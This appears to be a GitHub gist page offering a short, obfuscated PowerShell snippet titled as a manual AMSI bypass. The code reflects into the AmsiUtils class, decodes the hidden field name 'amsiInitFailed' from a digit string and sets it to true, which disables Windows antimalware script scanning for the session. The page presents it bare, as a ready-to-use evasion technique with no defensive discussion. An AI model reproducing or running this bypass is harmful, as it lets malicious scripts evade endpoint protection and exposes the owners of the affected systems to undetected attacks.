Last active
October 29, 2020 06:50
-
-
Save chr0n1k/cb0cb10e3bf37e0d2c060d3fcad343b6 to your computer and use it in GitHub Desktop.
Manual AMSI Bypass Technique by Norbert Tihanyi
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUt'+'ils') | |
| $h="4456625220575263174452554847" | |
| $s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " | |
| $b =$a.GetField($s,'NonPublic,Static') | |
| $b.SetValue($null,$true) |
Author
chr0n1k
commented
Jul 1, 2020

Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment